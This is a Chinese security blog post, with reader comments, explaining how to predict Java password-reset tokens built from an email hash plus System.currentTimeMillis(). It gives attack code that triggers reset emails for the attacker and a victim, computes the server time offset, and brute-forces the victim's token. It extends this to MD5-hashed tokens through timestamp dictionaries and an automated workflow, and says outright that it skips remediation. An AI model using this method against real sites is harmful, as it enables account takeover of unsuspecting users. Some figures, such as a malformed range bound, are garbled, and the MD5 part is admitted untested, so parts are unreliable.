利用系统时间可预测破解java随机数

By kxlzx http://www.inbreak.net/
摘要:
这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。

正文:

“System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。
今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。
1、输入邮箱。
2、发送邮件给用户邮箱。
3、根据邮箱中的链接,修改密码
就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。
在生成token时,采用了这样一段代码:

public String genToken(String email) {
String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
return token;
}

从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。
真正随机的只有System.currentTimeMillis()
这个方法貌似随机,条件允许的情况下,其实是可以破解的。

利用系统时间可预测破解java随机数:

根据以上流程,只要攻击者提交

http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com

就可以给攻击者的邮箱,发一封EMAIL。
================
你好,空虚浪子心:
请点击链接重置密码。该链接24小时内有效。
或将以下链接拷贝到浏览器地址栏中:

http://www.inbreak.net/user/resetpassword.action?token=1315336352414

该邮件由系统自动发送,请勿直接回复此邮件。
==============
随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。
当然,这不可能。
但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。
我们的时间,和服务器时间,总是会相差一个数字。
网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。
没关系,我们尽量让它变得可预测些。
在本地,写这样一段代码:
=================

    public static void main(String[] args) throws IOException {
       System.out.println(i + 1);
       i++;
       System.out.println("------mystart");
       System.out.println("4700012@qq.com ".hashCode() * 21
              + System.currentTimeMillis());
       sendPost("http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com");
       System.out.println("4700012@qq.com".hashCode() * 21
              + System.currentTimeMillis());
       System.out.println("------myend");
       System.out.println("------user start");
       Long x = "10000@qq.com".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(x);
      sendPost("http://www.inbreak.net/user/findpassword.action?email=10000@qq.com");
       Long y = "10000@qq.com ".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(y);
       System.out.println(y - x);
       System.out.println("------user end");
    }

=================

代码流程,使用文字描述:

1、 打印攻击者的开始时间。

2、 发邮件给攻击者。

3、 打印攻击者的结束时间。

4、 打印要破解的用户开始时间

5、 发邮件给要破解的用户。

6、 打印要破解的用户结束时间

7、 打印请求服务器给用户发邮件的用时

程序执行的结果如下:
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 = 网络延迟。
------user end

======================
于此同时,收到了一封邮件,token为“1315395156493”。
然后根据以下的计算公式:
攻击者的结束时间(已知) – 服务器给攻击者发邮件的时间(已知) = 时间差(可以算出来)
用户结束时间(已知) – 服务器发给用户邮件时间(就是未知数x) = 时间差(前面算出来的)
可以算出给用户发邮件的时间,这个时间是模糊的,还需要加减当时的网络延迟(刚才程序打印出来了),才能得到一个最终区间。
再写段代码:
=============================

Long myendtime =  Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间
Long userendtime =   Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间
Long myservertime =  Long.valueOf("1315395156493"); //服务器给我发邮件的时间
Long userservertime = userendtime - (myendtime-myservertime);
System.out.println(userservertime);

===================================
这段代码打印出了结果:

1316945838361

这是我们预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
下面交给WVS处理

很快的,得出结果,第一列的response内容大小,和其他的不同,大家都是1153B,只有这一条是2685B,说明内容不一样,这就是答案了。

得到答案,我们访问页面看看。

图中可以看到,攻击者可以已经破解了token,可以直接修改密码。
在做网络攻击时,当然情况可能不一致,网络延迟如果很久,可以换网速好,延迟少的机器。最好在半夜三更的时候进行,成功几率大很多。

进阶攻击:

当然,会有开发自作聪明,给最终数字,也就是token,加上MD5。这的确可以增加攻击成本,但是实质上还是自欺欺人。对于攻击者,只需要在固定的时间范围,就可以放一个字典。

1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d

一一对应,在最终做算术题中,多几次查询即可。
我们可以就拿以上示例,给大家进阶一下。
代码为

    public String genToken(String email) {
        String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
        return md5(token);
    }

和前文代码基本一致,只是返回时,最终调用了md5。
假设还是上次的结果,服务器会返回:

Token=8b4a258acdff3bf44ed88d174ed0be20

这个token其实就是时间的加密,他的解密肯定在一定的时间段范围内。我们首先要找到特征。
执行一下当前时间,先看看我的时间,1315395175437,这是一个long类型。
通过

System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437)));

得出结果:

2011-08-29 20:39

经过不断的修改数字,可以看出
13153951,也就是前8位,代表几月几号几点。
75437,也就是后面5位,代表几分几秒。
服务器时间就算再傻,也不能把今天,算成明天,最多和我们本地,相差个多少分钟。
所以我们做字典,在数据库录入:

以“13153951”为固定前缀+5位数字 (00001到99999)

之后在这个表,增加一个字段,是前面那个字段的MD5值,当然,如果不放心,可以再往前加几位,就是固定前缀“1315395”+ 6位数字,以此类推,数据库不会很大。
这个字典,有什么用呢?
前文说到服务器会给我发邮件,告诉我Token=8b4a258acdff3bf44ed88d174ed0be20,这个md5对应的数字,必然会在这个字典里,所以可以直接从字典中查出来这个md5。
其后的流程,就和前文破解一致。
再次贴一遍结果:
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时,也就是网络延迟。
------user end

======================
之后按照公式,当然会算出1316945838361,是我预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
将以上范围所有数字,md5加密一下,做成字典,放在wvs中跑一遍,一定也能得出结果。
以上纯属推测,并没有示例测试,但是思路是正确的。

再次进阶

从上面的内容中,大家知道并不是看到token,就想当然的以为没办法,我们从黑盒测试的角度,甚至可以做这样一件自动化的事情,以便直接快速的破解。
当我们看到有存在md5的token后,直接执行以下几步。
写小程序,将以下流程尽量自动化:
1、获取当前时间,其中可以加入用户名前缀的hash,也可以加入email等hash,总之,token的内容,是和用户相关,并且是固定的,联想到我们注册时,也就填写了用户名、email,肯定是相关的。用户名或email+随机数,排列组合一下,分别走一遍前三步。
2、时间范围定在1小时内(前面几位数字固定前缀即可),生成md5字典。
3、获取自己账号的token,然后在字典中,得出结果。
4、如果第三步成功,基本就可以确定漏洞存在。后面利用公式,计算出服务器给用户token的时间基数,正负时间差,做成md5字典。
5、WVS跑一遍字典,查看服务器返回数据大小,从而得出用户的token。
如果我们已经有生成token的代码,就像文章中的示例,就可以省略猜测算法的步骤了。在生成token的时候,肯定有不少人犯了这样的错误,本文主要谈攻击思路,至于修补方案就不管了,大家懂得。
By kxlzx http://www.inbreak.net/

发表评论?

9 条评论。

  1. 貌似和shopex曾有的一个漏洞类似:http://hi.baidu.com/aullik5/blog/item/6af3818abbf1eacffc1f1071.html

  2. 用Random.nextlong()方法可能会好一些。

  3. sorry!
    blog换了系统,连接很久没有维护过了,马上加上。

  4. 破解的东西其实原理都是相通的

  5. 看了一半就想膜拜了。。我的智商好勉强

  6. 其实呢 这是要看到目标的源码后 知道他如何设计的才能谈这个问题

    但大多情况下 我们是看不到他们是如何设计的啊

发表评论